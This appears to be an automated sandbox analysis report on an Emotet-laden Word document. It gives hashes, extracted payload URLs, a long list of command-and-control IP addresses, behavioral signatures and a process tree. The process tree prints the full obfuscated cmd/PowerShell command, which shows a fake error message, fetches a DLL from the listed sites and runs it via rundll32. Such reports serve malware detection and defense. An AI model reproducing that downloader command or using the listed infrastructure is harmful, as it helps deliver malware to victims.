Analysis
-
max time kernel
123s -
max time network
122s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
26-01-2021 14:14
Behavioral task
behavioral1
Sample
ARCH-2020-YNC_4114.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
ARCH-2020-YNC_4114.doc
Resource
win10v20201028
General
-
Target
ARCH-2020-YNC_4114.doc
-
Size
157KB
-
MD5
feed38798d0bf20a70bd72c742b97ef9
-
SHA1
08ea13bea6a2da4e3e83737c38cc68da749f8581
-
SHA256
24e9aabdc3ffb872e3ada2131e7958e0e784eb7a51205ce15235ea171fe0314b
-
SHA512
d88a972c5339fadb30b891a8f902a1d8df7f883908558571470d8daab9ca4eadb63c305dd5a51f2c475e02f47caf8264711b91db78fe91383449a8e7a2a9287e
Malware Config
Extracted
http://allcannabismeds.com/unraid-map/ZZm6/
http://giannaspsychicstudio.com/cgi-bin/PP/
http://ienglishabc.com/cow/JH/
http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/
https://etkindedektiflik.com/pcie-speed/U/
https://vstsample.com/wp-includes/7eXeI/
http://ezi-pos.com/categoryl/x/
Extracted
emotet
Epoch1
152.170.79.100:80
190.247.139.101:80
138.197.99.250:8080
167.71.148.58:443
211.215.18.93:8080
191.241.233.198:80
83.169.21.32:7080
113.163.216.135:80
70.32.84.74:8080
217.13.106.14:8080
177.23.7.151:80
172.104.169.32:8080
187.39.237.56:8080
80.15.100.37:80
177.144.130.105:443
168.121.4.238:80
1.234.65.61:80
191.182.6.118:80
170.81.48.2:80
45.184.103.73:80
190.64.88.186:443
201.75.62.86:80
138.97.60.140:8080
45.16.226.117:443
186.177.174.163:80
202.79.24.136:443
181.61.182.143:80
137.74.106.111:7080
12.163.208.58:80
190.162.232.138:80
81.214.253.80:443
188.135.15.49:80
46.43.2.95:8080
84.5.104.93:80
209.236.123.42:8080
105.209.235.113:8080
51.15.7.145:80
94.176.234.118:443
110.39.162.2:443
46.105.114.137:8080
197.232.36.108:80
186.146.13.184:443
185.183.16.47:80
190.195.129.227:8090
155.186.9.160:80
12.162.84.2:8080
190.24.243.186:80
178.211.45.66:8080
138.97.60.141:7080
172.245.248.239:8080
51.255.165.160:8080
77.78.196.173:443
190.210.246.253:80
190.114.254.163:8080
82.48.39.246:80
192.175.111.212:7080
187.162.248.237:80
81.215.230.173:443
62.84.75.50:80
184.66.18.83:80
192.232.229.53:4143
104.131.41.185:8080
35.143.99.174:80
46.101.58.37:8080
190.136.176.89:80
60.93.23.51:80
190.45.24.210:80
152.169.22.67:80
68.183.170.114:8080
2.80.112.146:80
31.27.59.105:80
177.85.167.10:80
111.67.12.222:8080
5.196.35.138:7080
178.250.54.208:8080
81.213.175.132:80
181.120.29.49:80
1.226.84.243:8080
191.53.80.88:80
122.201.23.45:443
82.208.146.142:7080
185.94.252.27:443
95.76.153.115:80
59.148.253.194:8080
45.4.32.50:80
213.52.74.198:80
188.225.32.231:7080
68.183.190.199:8080
181.136.190.86:80
82.76.111.249:443
110.39.160.38:443
181.30.61.163:443
85.214.26.7:8080
192.232.229.54:7080
149.202.72.142:7080
187.162.250.23:443
202.134.4.210:7080
212.71.237.140:8080
70.32.115.157:8080
111.67.12.221:8080
50.28.51.143:8080
87.106.46.107:8080
108.4.209.15:80
190.251.216.100:80
200.24.255.23:80
191.223.36.170:80
177.144.130.105:8080
93.149.120.214:80
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1216 1736 cmd.exe -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exerundll32.exeflow pid process 7 1608 powershell.exe 9 1584 rundll32.exe 12 1584 rundll32.exe 13 1584 rundll32.exe 16 1584 rundll32.exe 17 1584 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1636 rundll32.exe 1636 rundll32.exe 1636 rundll32.exe 1636 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
rundll32.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Slhhkwbwoepqoe\pfqfhfaklgyer.tpk rundll32.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1728 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exerundll32.exepid process 1608 powershell.exe 1608 powershell.exe 1584 rundll32.exe 1584 rundll32.exe 1584 rundll32.exe 1584 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1608 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1728 WINWORD.EXE 1728 WINWORD.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 1216 wrote to memory of 1344 1216 cmd.exe msg.exe PID 1216 wrote to memory of 1344 1216 cmd.exe msg.exe PID 1216 wrote to memory of 1344 1216 cmd.exe msg.exe PID 1216 wrote to memory of 1608 1216 cmd.exe powershell.exe PID 1216 wrote to memory of 1608 1216 cmd.exe powershell.exe PID 1216 wrote to memory of 1608 1216 cmd.exe powershell.exe PID 1608 wrote to memory of 1504 1608 powershell.exe rundll32.exe PID 1608 wrote to memory of 1504 1608 powershell.exe rundll32.exe PID 1608 wrote to memory of 1504 1608 powershell.exe rundll32.exe PID 1504 wrote to memory of 1636 1504 rundll32.exe rundll32.exe PID 1504 wrote to memory of 1636 1504 rundll32.exe rundll32.exe PID 1504 wrote to memory of 1636 1504 rundll32.exe rundll32.exe PID 1504 wrote to memory of 1636 1504 rundll32.exe rundll32.exe PID 1504 wrote to memory of 1636 1504 rundll32.exe rundll32.exe PID 1504 wrote to memory of 1636 1504 rundll32.exe rundll32.exe PID 1504 wrote to memory of 1636 1504 rundll32.exe rundll32.exe PID 1636 wrote to memory of 1584 1636 rundll32.exe rundll32.exe PID 1636 wrote to memory of 1584 1636 rundll32.exe rundll32.exe PID 1636 wrote to memory of 1584 1636 rundll32.exe rundll32.exe PID 1636 wrote to memory of 1584 1636 rundll32.exe rundll32.exe PID 1636 wrote to memory of 1584 1636 rundll32.exe rundll32.exe PID 1636 wrote to memory of 1584 1636 rundll32.exe rundll32.exe PID 1636 wrote to memory of 1584 1636 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ARCH-2020-YNC_4114.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Slhhkwbwoepqoe\pfqfhfaklgyer.tpk",Control_RunDLL5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dllMD5
759f11de546f75ec1b576ed031c7a1dc
SHA1a727ebfc32b3c8c7b1fe073f009c53d49fae6f72
SHA256bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79
SHA51273c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d
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\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dllMD5
759f11de546f75ec1b576ed031c7a1dc
SHA1a727ebfc32b3c8c7b1fe073f009c53d49fae6f72
SHA256bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79
